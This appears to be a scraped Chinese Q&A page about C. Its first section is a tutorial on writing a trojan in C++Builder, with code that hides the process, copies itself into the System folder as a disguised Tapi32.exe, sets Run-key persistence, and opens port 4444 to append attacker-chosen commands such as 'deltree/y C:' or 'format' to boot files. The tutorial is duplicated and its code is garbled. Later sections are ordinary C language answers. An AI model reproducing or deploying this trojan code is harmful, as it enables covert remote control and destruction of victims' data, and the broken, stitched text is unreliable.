A. c語言環境是用什麼編寫的
C++編寫木馬全過程
首先是編程工具的選擇。目前流行的開發工具有C++Builder、VC、VB和Delphi,這里我們選用C++Builder(以下簡稱BCB);VC雖然好,但GUI設計太復雜,為了更好地突出我的例子,集中注意力在木馬的基本原理上,我們選用可視化的BCB;Delphi也不錯,但缺陷是不能繼承已有的資源(如「死牛崇拜」黑客小組公布的BO2000源代碼,是VC編寫的,網上俯拾皆是);VB嘛,談都不談??難道你還給受害者傳一個1兆多的動態鏈接庫??Msvbvm60.dll嗎?
啟動C++Builder 5.0企業版,新建一個工程,添加三個VCL控制項:一個是Internet頁中的Server Socket,另兩個是Fastnet頁中的NMFTP和NMSMTP。Server Socket的功能是用來使本程序變成一個伺服器程序,可以對外服務(對攻擊者敞開大門)。Socket最初是在Unix上出現的,後來微軟將它引入了Windows中(包括Win98和WinNt);後兩個控制項的作用是用來使程序具有FTP(File Transfer Protocol文件傳輸協議)和SMTP(Simple Mail Transfer Protocol簡單郵件傳輸協議)功能,大家一看都知道是使軟體具有上傳下載功能和發郵件功能的控制項。
form窗體是可視的,這當然是不可思議的。不光佔去了大量的空間(光一個form就有300K之大),而且使軟體可見,根本沒什麼作用。因此實際寫木馬時可以用一些技巧使程序不包含form,就像Delphi用過程實現的小程序一般只有17K左右那樣。
我們首先應該讓我們的程序能夠隱身。雙擊form,首先在formCreate事件中添加可使木馬在Win9x的「關閉程序」對話框中隱藏的代碼。這看起來很神秘,其實說穿了不過是一種被稱之為Service的後台進程,它可以運行在較高的優先順序下,可以說是非常靠近系統核心的設備驅動程序中的那一種。因此,只要將我們的程序在進程資料庫中用RegisterServiceProcess()函數注冊成服務進程(Service Process)就可以了。不過該函數的聲明在Borland預先打包的頭文件中沒有,那麼我們只好自己來聲明這個位於KERNEL32.DLL中的鳥函數了。
首先判斷目標機的操作系統是Win9x還是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系統的版本號
if (dwVersion >= 0x80000000)
// 操作系統是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
//定義RegisterServiceProcess()函數的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32);
//載入RegisterServiceProcess()函數所在的動態鏈接庫KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess);
//得到RegisterServiceProcess()函數的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
//執行RegisterServiceProcess()函數,隱藏本進程
FreeLibrary(hDLL);
//卸載動態鏈接庫
}
}
這樣就終於可以隱身了(害我敲了這么多代碼!)。為什麼要判斷操作系統呢?因為WinNt中的進程管理器可以對當前進程一覽無余,因此沒必要在WinNt下也使用以上代碼(不過你可以使用其他的方法,這個留到後面再講)。
接著再將自己拷貝一份到%System%目錄下,例如:C:\Windows\System,並修改注冊表,以便啟動時自動載入:
{
char TempPath[MAX_PATH];
//定義一個變數
GetSystemDirectory(TempPath ,MAX_PATH);
//TempPath是system目錄緩沖區的地址,MAX_PATH是緩沖區的大小,得到目標機的System目錄路徑
SystemPath=AnsiString(TempPath);
//格式化TempPath字元串,使之成為能供編譯器使用的樣式
opyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe).c_str() ,FALSE);
//將自己拷貝到%System%目錄下,並改名為Tapi32.exe,偽裝起來
Registry=new TRegistry;
//定義一個TRegistry對象,准備修改注冊表,這一步必不可少
Registry->RootKey=HKEY_LOCAL_MACHINE;
//設置主鍵為HKEY_LOCAL_MACHINE
egistry->OpenKey("Software\\Microsoft\\Windows\\
CurrentVersion\\Run,TRUE);
//打開鍵值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就創建之
try
{
//如果以下語句發生異常,跳至catch,以避免程序崩潰
!=SystemPath+"\\Tapi32.exe)
SystemPath+"\\Tapi32.exe);
//查找是否有「crossbow」字樣的鍵值,並且是否為拷貝的目錄%System%+Tapi32.exe
//如果不是,就寫入以上鍵值和內容
}
catch(...)
{
//如果有錯誤,什麼也不做
}
}
好,formCreate過程完成了,這樣每次啟動都可以自動載入Tapi32.exe,並且在「關閉程序」對話框中看不見本進程了,木馬的雛形初現。
接著選中ServerSocket控制項,在左邊的Object Inspector中將Active改為true,這樣程序一啟動就打開特定埠,處於伺服器工作狀態。再將Port填入4444,這是木馬的埠號,當然你也可以用別的。但是你要注意不要用1024以下的低端埠,因為這樣不但可能會與基本網路協議使用的埠相沖突,而且很容易被發覺,因此盡量使用1024以上的高端埠(不過也有這樣一種技術,它故意使用特定埠,因為如果引起沖突,Windows也不會報錯 ^_^)。你可以看一看TNMFTP控制項使用的埠,是21號埠,這是FTP協議的專用控制埠(FTP Control Port);同理TNMSMTP的25號埠也是SMTP協議的專用埠。
再選中ServerSocket控制項,點擊Events頁,雙擊OnClientRead事件,敲入以下代碼:
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
//定義了一堆待會兒要用到的變數
AnsiString(SystemPath+AnsiString("\\Win369.BAT)).c_str());
//在%System%下建立一個文本文件Win369.bat,作為臨時文件使用
AnsiString temp=Socket->ReceiveText();
//接收客戶端(攻擊者,也就是你自己)傳來的數據
}
好,大門敞開了!接著就是修改目標機的各種配置了!^_^ 首先我們來修改Autoexec.bat和Config.sys吧:
{
f(temp.SubString(0,9)=="edit conf)
//如果接受到的字元串的前9個字元是「edit conf」
{
int number=temp.Length();
//得到字元串的長度
int file_name=atoi((temp.SubString(11,1)).c_str());
//將第11個字元轉換成integer型,存入file_name變數
//為什麼要取第11個字元,因為第10個字元是空格字元
content=(temp.SubString(12,number-11)+'\n').c_str();
//餘下的字元串將被作為寫入的內容寫入目標文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat,S_IREAD|S_IWRITE);
chmod("c:\\config.sys,S_IREAD|S_IWRITE);
//將兩個目標文件的屬性改為可讀可寫
if(file_name==1)
"c:\\autoexec.bat);
//如果第11個字元是1,就把Autoexec.bat格式化
else if(file_name==2)
"c:\\config.sys);
//如果第11個字元是1,就把Config.sys格式化
times_of_try=0;
//定義計數器
while(fp==NULL)
{
//如果指針是空
fp=fopen(filename,"a+);
//如果文件不存在,創建之;如果存在,准備在其後添加
//如果出錯,文件指針為空,這樣就會重復
times_of_try=times_of_try+1;
//計數器加1
if(times_of_try>100)
{
//如果已經試了100次了,仍未成功
Socket->SendText("Fail By Open File);
//就發回「Fail By Open File」的錯誤信息
goto END;
//跳至END處
}
}
fwrite(content,sizeof(char),strlen(content),fp);
//寫入添加的語句,例如deltree/y C:或者format/q/autotest C:,夠毒吧?!
fclose(fp);
//寫完後關閉目標文件
Socket->SendText("Sucess);
//然後發回「Success」的成功信息
}C++編寫木馬全過程
首先是編程工具的選擇。目前流行的開發工具有C++Builder、VC、VB和Delphi,這里我們選用C++Builder(以下簡稱BCB);VC雖然好,但GUI設計太復雜,為了更好地突出我的例子,集中注意力在木馬的基本原理上,我們選用可視化的BCB;Delphi也不錯,但缺陷是不能繼承已有的資源(如「死牛崇拜」黑客小組公布的BO2000源代碼,是VC編寫的,網上俯拾皆是);VB嘛,談都不談??難道你還給受害者傳一個1兆多的動態鏈接庫??Msvbvm60.dll嗎?
啟動C++Builder 5.0企業版,新建一個工程,添加三個VCL控制項:一個是Internet頁中的Server Socket,另兩個是Fastnet頁中的NMFTP和NMSMTP。Server Socket的功能是用來使本程序變成一個伺服器程序,可以對外服務(對攻擊者敞開大門)。Socket最初是在Unix上出現的,後來微軟將它引入了Windows中(包括Win98和WinNt);後兩個控制項的作用是用來使程序具有FTP(File Transfer Protocol文件傳輸協議)和SMTP(Simple Mail Transfer Protocol簡單郵件傳輸協議)功能,大家一看都知道是使軟體具有上傳下載功能和發郵件功能的控制項。
form窗體是可視的,這當然是不可思議的。不光佔去了大量的空間(光一個form就有300K之大),而且使軟體可見,根本沒什麼作用。因此實際寫木馬時可以用一些技巧使程序不包含form,就像Delphi用過程實現的小程序一般只有17K左右那樣。
我們首先應該讓我們的程序能夠隱身。雙擊form,首先在formCreate事件中添加可使木馬在Win9x的「關閉程序」對話框中隱藏的代碼。這看起來很神秘,其實說穿了不過是一種被稱之為Service的後台進程,它可以運行在較高的優先順序下,可以說是非常靠近系統核心的設備驅動程序中的那一種。因此,只要將我們的程序在進程資料庫中用RegisterServiceProcess()函數注冊成服務進程(Service Process)就可以了。不過該函數的聲明在Borland預先打包的頭文件中沒有,那麼我們只好自己來聲明這個位於KERNEL32.DLL中的鳥函數了。
首先判斷目標機的操作系統是Win9x還是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系統的版本號
if (dwVersion >= 0x80000000)
// 操作系統是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
//定義RegisterServiceProcess()函數的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32);
//載入RegisterServiceProcess()函數所在的動態鏈接庫KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess);
//得到RegisterServiceProcess()函數的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
//執行RegisterServiceProcess()函數,隱藏本進程
FreeLibrary(hDLL);
//卸載動態鏈接庫
}
}
這樣就終於可以隱身了(害我敲了這么多代碼!)。為什麼要判斷操作系統呢?因為WinNt中的進程管理器可以對當前進程一覽無余,因此沒必要在WinNt下也使用以上代碼(不過你可以使用其他的方法,這個留到後面再講)。
接著再將自己拷貝一份到%System%目錄下,例如:C:\Windows\System,並修改注冊表,以便啟動時自動載入:
{
char TempPath[MAX_PATH];
//定義一個變數
GetSystemDirectory(TempPath ,MAX_PATH);
//TempPath是system目錄緩沖區的地址,MAX_PATH是緩沖區的大小,得到目標機的System目錄路徑
SystemPath=AnsiString(TempPath);
//格式化TempPath字元串,使之成為能供編譯器使用的樣式
opyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe).c_str() ,FALSE);
//將自己拷貝到%System%目錄下,並改名為Tapi32.exe,偽裝起來
Registry=new TRegistry;
//定義一個TRegistry對象,准備修改注冊表,這一步必不可少
Registry->RootKey=HKEY_LOCAL_MACHINE;
//設置主鍵為HKEY_LOCAL_MACHINE
egistry->OpenKey("Software\\Microsoft\\Windows\\
CurrentVersion\\Run,TRUE);
//打開鍵值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就創建之
try
{
//如果以下語句發生異常,跳至catch,以避免程序崩潰
!=SystemPath+"\\Tapi32.exe)
SystemPath+"\\Tapi32.exe);
//查找是否有「crossbow」字樣的鍵值,並且是否為拷貝的目錄%System%+Tapi32.exe
//如果不是,就寫入以上鍵值和內容
}
catch(...)
{
//如果有錯誤,什麼也不做
}
}
好,formCreate過程完成了,這樣每次啟動都可以自動載入Tapi32.exe,並且在「關閉程序」對話框中看不見本進程了,木馬的雛形初現。
接著選中ServerSocket控制項,在左邊的Object Inspector中將Active改為true,這樣程序一啟動就打開特定埠,處於伺服器工作狀態。再將Port填入4444,這是木馬的埠號,當然你也可以用別的。但是你要注意不要用1024以下的低端埠,因為這樣不但可能會與基本網路協議使用的埠相沖突,而且很容易被發覺,因此盡量使用1024以上的高端埠(不過也有這樣一種技術,它故意使用特定埠,因為如果引起沖突,Windows也不會報錯 ^_^)。你可以看一看TNMFTP控制項使用的埠,是21號埠,這是FTP協議的專用控制埠(FTP Control Port);同理TNMSMTP的25號埠也是SMTP協議的專用埠。
再選中ServerSocket控制項,點擊Events頁,雙擊OnClientRead事件,敲入以下代碼:
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
//定義了一堆待會兒要用到的變數
AnsiString(SystemPath+AnsiString("\\Win369.BAT)).c_str());
//在%System%下建立一個文本文件Win369.bat,作為臨時文件使用
AnsiString temp=Socket->ReceiveText();
//接收客戶端(攻擊者,也就是你自己)傳來的數據
}
好,大門敞開了!接著就是修改目標機的各種配置了!^_^ 首先我們來修改Autoexec.bat和Config.sys吧:
{
f(temp.SubString(0,9)=="edit conf)
//如果接受到的字元串的前9個字元是「edit conf」
{
int number=temp.Length();
//得到字元串的長度
int file_name=atoi((temp.SubString(11,1)).c_str());
//將第11個字元轉換成integer型,存入file_name變數
//為什麼要取第11個字元,因為第10個字元是空格字元
content=(temp.SubString(12,number-11)+'\n').c_str();
//餘下的字元串將被作為寫入的內容寫入目標文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat,S_IREAD|S_IWRITE);
chmod("c:\\config.sys,S_IREAD|S_IWRITE);
//將兩個目標文件的屬性改為可讀可寫
if(file_name==1)
"c:\\autoexec.bat);
//如果第11個字元是1,就把Autoexec.bat格式化
else if(file_name==2)
"c:\\config.sys);
//如果第11個字元是1,就把Config.sys格式化
times_of_try=0;
//定義計數器
while(fp==NULL)
{
//如果指針是空
fp=fopen(filename,"a+);
//如果文件不存在,創建之;如果存在,准備在其後添加
//如果出錯,文件指針為空,這樣就會重復
times_of_try=times_of_try+1;
//計數器加1
if(times_of_try>100)
{
//如果已經試了100次了,仍未成功
Socket->SendText("Fail By Open File);
//就發回「Fail By Open File」的錯誤信息
goto END;
//跳至END處
}
}
fwrite(content,sizeof(char),strlen(content),fp);
//寫入添加的語句,例如deltree/y C:或者format/q/autotest C:,夠毒吧?!
fclose(fp);
//寫完後關閉目標文件
Socket->SendText("Sucess);
//然後發回「Success」的成功信息
}
B. c語言是什麼意思
C語言是一門面向過程的、抽象化的通用程序設計語言,廣泛應用於底層開發。C語言能以簡易的方式編譯、處理低級存儲器。C語言是僅產生少量的機器語言以及不需要任何運行環境支持便能運行的高效率程序設計語言。
盡管C語言提供了許多低級處理的功能,但仍然保持著跨平台的特性,以一個標准規格寫出的C語言程序可在包括類似嵌入式處理器以及超級計算機等作業平台的許多計算機平台上進行編譯。
最新的C語言標準是C18。
(2)精簡c語言環境擴展閱讀:
通過對C語言進行研究分析,總結出其主要特點如下:
(1)簡潔的語言
C語言包含的各種控制語句僅有9種,關鍵字也只有32個,程序的編寫要求不嚴格且以小寫字母為主,對許多不必要的部分進行了精簡。
實際上,語句構成與硬體有關聯的較少,且C語言本身不提供與硬體相關的輸入輸出、文件管理等功能,如需此類功能,需要通過配合編譯系統所支持的各類庫進行編程,故c語言擁有非常簡潔的編譯系統。
(2)具有結構化的控制語句
C語言是一種結構化的語言,提供的控制語句具有結構化特徵,如for語句、if...else語句和switch語句等。可以用於實現函數的邏輯控制,方便麵向過程的程序設計。
(3)豐富的數據類型
C語言包含的數據類型廣泛,不僅包含有傳統的字元型、整型、浮點型、數組類型等數據類型,還具有其他編程語言所不具備的數據類型,其中以指針類型數據使用最為靈活,可以通過編程對各種數據結構進行計算。
(4)豐富的運算符
C語言包含34個運算符,它將賦值、括弧等均是作運算符來操作,使C程序的表達式類型和運算符類型均非常豐富。
(5)可對物理地址進行直接操作
C語言允許對硬體內存地址進行直接讀寫,以此可以實現匯編語言的主要功能,並可直接操作硬體。C語言不但具備高級語言所具有的良好特性,又包含了許多低級語言的優勢,故在系統軟體編程領域有著廣泛的應用。
(6)代碼具有較好的可移植性
C語言是面向過程的編程語言,用戶只需要關注所被解決問題的本身,而不需要花費過多的精力去了解相關硬體,且針對不同的硬體環境,在用C語言實現相同功能時的代碼基本一致;
不需或僅需進行少量改動便可完成移植,這就意味著,對於一台計算機編寫的C程序可以在另一台計算機上輕松地運行,從而極大的減少了程序移植的工作強度。
(7)可生成高質量、目標代碼執行效率高的程序
與其他高級語言相比,C語言可以生成高質量和高效率的目標代碼,故通常應用於對代碼質量和執行效率要求較高的嵌入式系統程序的編寫。
C. c語言的主要特點
c語言的主要特點:
(1)簡潔的語言
C語言包含的各種控制語句僅有9種,關鍵字也只有32 個,程序的編寫要求不嚴格且以小寫字母為主,對許多不必要的部分進行了精簡。實際上,語句構成與硬體有關聯的較少,且C語言本身不提供與硬體相關的輸入輸出、文件管理等功能,如需此類功能,需要通過配合編譯系統所支持的各類庫進行編程,故c語言擁有非常簡潔的編譯系統。
(2)具有結構化的控制語句
C語言是一種結構化的語言,提供的控制語句具有結構化特徵,如for語句、if⋯else語句和switch語句等。可以用於實現函數的邏輯控制,方便麵向過程的程序設計。
(3)豐富的數據類型
C語言包含的數據類型廣泛,不僅包含有傳統的字元型、整型、浮點型、數組類型等數據類型,還具有其他編程語言所不具備的數據類型,其中以指針類型數據使用最為靈活,可以通過編程對各種數據結構進行計算。
(4)豐富的運算符
C語言包含34個運算符,它將賦值、括弧等均是作運算符來操作,使C程序的表達式類型和運算符類型均非常豐富。
(5)可對物理地址進行直接操作
C語言允許對硬體內存地址進行直接讀寫,以此可以實現匯編語言的主要功能,並可直接操作硬體。C語言不但具備高級語言所具有的良好特性,又包含了許多低級語言的優勢,故在系統軟體編程領域有著廣泛的應用。
(6)代碼具有較好的可移植性
C語言是面向過程的編程語言,用戶只需要關注所被解決問題的本身,而不需要花費過多的精力去了解相關硬體,且針對不同的硬體環境,在用C語言實現相同功能時的代碼基本一致,不需或僅需進行少量改動便可完成移植,這就意味著,對於一台計算機編寫的C程序可以在另一台計算機上輕松地運行,從而極大的減少了程序移植的工作強度。
(7)可生成高質量、目標代碼執行效率高的程序
與其他高級語言相比,C語言可以生成高質量和高效率的目標代碼,故通常應用於對代碼質量和執行效率要求較高的嵌入式系統程序的編寫。
(3)精簡c語言環境擴展閱讀:
C語言是普適性最強的一種計算機程序編輯語言,它不僅可以發揮出高級編程語言的功用,還具有匯編語言的優點,因此相對於其它編程語言,它具有自己獨特的特點。具體體現在以下三個方面:
其一,廣泛性。C 語言的運算范圍的大小直接決定了其優劣性。C 語言中包含了34種運算符,因此運算范圍要超出許多其它語言,此外其運算結果的表達形式也十分豐富。此外,C 語言包含了字元型、指針型等多種數據結構形式,因此,更為龐大的數據結構運算它也可以應付。
其二,簡潔性。9 類控制語句和32個KEYWORDS是C語言所具有的基礎特性,使得其在計算機應用程序編寫中具有廣泛的適用性,不僅可以適用廣大編程人員的操作,提高其工作效率,同 時還能夠支持高級編程,避免了語言切換的繁瑣。
其三,結構完善。C語言是一種結構化語言,它可以通過組建模塊單位的形式實現模塊化的應用程序,在系統描述方面具有顯著優勢,同時這一特性也使得它能夠適應多種不同的編程要求,且執行效率高。
D. 我想先用C語言做個C編譯器,然後再編譯其他C程序
可以採用自展的方法。當年的PASCAL語言編譯器就是這樣被創造出來的。
具體方法是:首先用其它任何一門語言寫一個非常精簡的C語言內核,可以只具備基本的功能。再用這個內核本身來編寫更大一點的內核。不斷重復以上的步驟就可以得到一個完整的C語言編譯環境,只是這樣做的難度太高了,做起來恐怕有困難。
E. c code develop怎麼用
c code develop使用方法:
您可以使用提供的精簡環境在本機運行您的項目,也可以導出項目到您的電腦編譯運行項目。精簡環境包含一個精簡的C標准庫,支持 stdio.h stdlib.h string.h math.h time.h 頭文件的部分內容,並且 C Code Develop 提供一個快速操作的頭文件 ccd.h。
在精簡環境中支持有限的文件操作。出於安全考慮函數指針、內嵌匯編和一些其它不安全的語法不受支持。
C Code Develop Mac版是Mac電腦上的一款開發軟體。C Code Develop Mac版可以幫助用快速編寫、運行C語言程序,輕便的編寫和測試C語言代碼。
軟體特色:
附帶一些數據結構實驗項目,可以在設備上運行測試體會優化演算法帶來的好處,也可以繼續修改優化代碼讓演算法變得更快。此外您可以在支持網站上下載更多示例項目,也可以和別人分享您編寫的代碼。
一個精簡的C語言開發環境,支持項目管理和頭文件引用,支持在本機運行代碼。支持隨系統變化的深色模式和淺色模式兩種代碼顏色方案。
F. 什麼是一個精簡的C語言環境 怎麼搭建
你確定要最簡單最輕量?
以下是可以自由配合的工具:
notepad(Windows自帶的記事本)-A
Notepad++-B
Visual Studio Code-C
Vim(Windows10上先安裝Bash on Ubuntu on Windows)-D
GCC(Windows10上先安裝Bash on Ubuntu on Windows)-1
MinGW-2
Dev-C++-a
Code::Blocks-b
下面是看場景的搭配:
懶得折騰,接受得了不支持最新C標準的編譯器:a或者b
最輕量,接受得了沒有高亮的編碼環境:A+2
輕量:B+2
G. 初學者學習C語言!主要為了三級上機考試! 用什麼C語言環境比較好啊(在家裡)
三級考試用Visual C++6.0編譯系統,初學書就用譚浩強的《C語言程序設計》比較好,我們大一學的C,三級上機考試就一道編寫函數,或修改,不難的,大三學的VB
H. c語言什麼意思
C語言是一門面向過程的、抽象化的通用程序設計語言,廣泛應用於底層開發。C語言能以簡易的方式編譯、處理低級存儲器。C語言是僅產生少量的機器語言以及不需要任何運行環境支持便能運行的高效率程序設計語言。
盡管C語言提供了許多低級處理的功能,但仍然保持著跨平台的特性,以一個標准規格寫出的C語言程序可在包括類似嵌入式處理器以及超級計算機等作業平台的許多計算機平台上進行編譯。
C語言的主要特點
1、簡潔的語言
C語言包含的各種控制語句僅有9種,關鍵字也只有32個,程序的編寫要求不嚴格且以小寫字母為主,對許多不必要的部分進行了精簡。
實際上,語句構成與硬體有關聯的較少,且C語言本身不提供與硬體相關的輸入輸出、文件管理等功能,如需此類功能,需要通過配合編譯系統所支持的各類庫進行編程,故c語言擁有非常簡潔的編譯系統。
2、具有結構化的控制語句
C語言是一種結構化的語言,提供的控制語句具有結構化特徵,如for語句、if...else語句和switch語句等。可以用於實現函數的邏輯控制,方便麵向過程的程序設計。
3、豐富的運算符
C語言包含34個運算符,它將賦值、括弧等均是作運算符來操作,使C程序的表達式類型和運算符類型均非常豐富。
I. c語言是什麼
C語言是一種結構化語言,它有著清晰的層次,可按照模塊的方式對程序進行編寫,十分有利於程序的調試,且c語言的處理和表現能力都非常的強大,依靠非常全面的運算符和多樣的數據類型,可以輕易完成各種數據結構的構建,通過指針類型更可對內存直接定址以及對硬體進行直接操作,因此既能夠用於開發系統程序,也可用於開發應用軟體。
通過對C語言進行研究分析,總結出其主要特點如下:
(1)簡潔的語言
C語言包含的各種控制語句僅有9種,關鍵字也只有32個,程序的編寫要求不嚴格且以小寫字母為主,對許多不必要的部分進行了精簡。實際上,語句構成與硬體有關聯的較少,且C語言本身不提供與硬體相關的輸入輸出、文件管理等功能,如需此類功能,需要通過配合編譯系統所支持的各類庫進行編程,故c語言擁有非常簡潔的編譯系統。[5]
(2)具有結構化的控制語句
C語言是一種結構化的語言,提供的控制語句具有結構化特徵,如for語句、if...else語句和switch語句等。可以用於實現函數的邏輯控制,方便麵向過程的程序設計。[5]
(3)豐富的數據類型
C語言包含的數據類型廣泛,不僅包含有傳統的字元型、整型、浮點型、數組類型等數據類型,還具有其他編程語言所不具備的數據類型,其中以指針類型數據使用最為靈活,可以通過編程對各種數據結構進行計算。[5]
(4)豐富的運算符
C語言包含34個運算符,它將賦值、括弧等均視作運算符來操作,使C程序的表達式類型和運算符類型均非常豐富。[5]
(5)可對物理地址進行直接操作
C語言允許對硬體內存地址進行直接讀寫,以此可以實現匯編語言的主要功能,並可直接操作硬體。C語言不但具備高級語言所具有的良好特性,又包含了許多低級語言的優勢,故在系統軟體編程領域有著廣泛的應用。[5]
(6)代碼具有較好的可移植性
C語言是面向過程的編程語言,用戶只需要關注所被解決問題的本身,而不需要花費過多的精力去了解相關硬體,且針對不同的硬體環境,在用C語言實現相同功能時的代碼基本一致,不需或僅需進行少量改動便可完成移植,這就意味著,對於一台計算機編寫的C程序可以在另一台計算機上輕松地運行,從而極大的減少了程序移植的工作強度。[5]
(7)可生成高質量、目標代碼執行效率高的程序
與其他高級語言相比,C語言可以生成高質量和高效率的目標代碼,故通常應用於對代碼質量和執行效率要求較高的嵌入式系統程序的編寫。[5]
J. c語言 數組編程,如何精簡並修改此程序
#include<stdio.h>
intmain(){
intshizi[101]={{0}};//對應位做為冪次,數值為系數
intshizi2[101]={{0}};
inti,pow,coef,flag;
while(1){
printf("冪次系數(00結束):");
scanf("%d%d",&pow,&coef);
if(pow>100)break;
if(pow==0&&coef==0)break;
shizi[pow]=coef;
}
while(1){
printf("冪次系數(00結束):");
scanf("%d%d",&pow,&coef);
if(pow>100)break;
if(pow==0&&coef==0)break;
shizi2[pow]=coef;
}
for(i=0;i<101;i++)
shizi[i]+=shizi2[i];
flag=1;
for(i=100;i>=0;i--){
if(shizi[i]!=0){
if(flag==1){//首項輸出方法
if(i==0){//常數項
printf("%d",shizi[i]);
}
elseif(i==1){//一次項
if(shizi[i]==1)printf("x");
elseif(shizi[i]==-1)printf("-x");
elseprintf("%dx",shizi[i]);
}
else{//其他項
if(shizi[i]==1)printf("x^%d",i);
elseif(shizi[i]==-1)printf("-x^%d",i);
elseprintf("%dx^%d",shizi[i],i);
}
flag=0;
continue;
}
//其他項輸出方法
if(i==0){//常數項
printf("%d",shizi[i]);
}
elseif(i==1){//一次項
if(shizi[i]==1)printf("+x");
elseif(shizi[i]==-1)printf("-x");
elseprintf("%+dx",shizi[i]);
}
else{//其他項
if(shizi[i]==1)printf("+x^%d",i);
elseif(shizi[i]==-1)printf("-x^%d",i);
elseprintf("%+dx^%d",shizi[i],i);
}
}
flag=0;
}
printf(" ");
return0;
}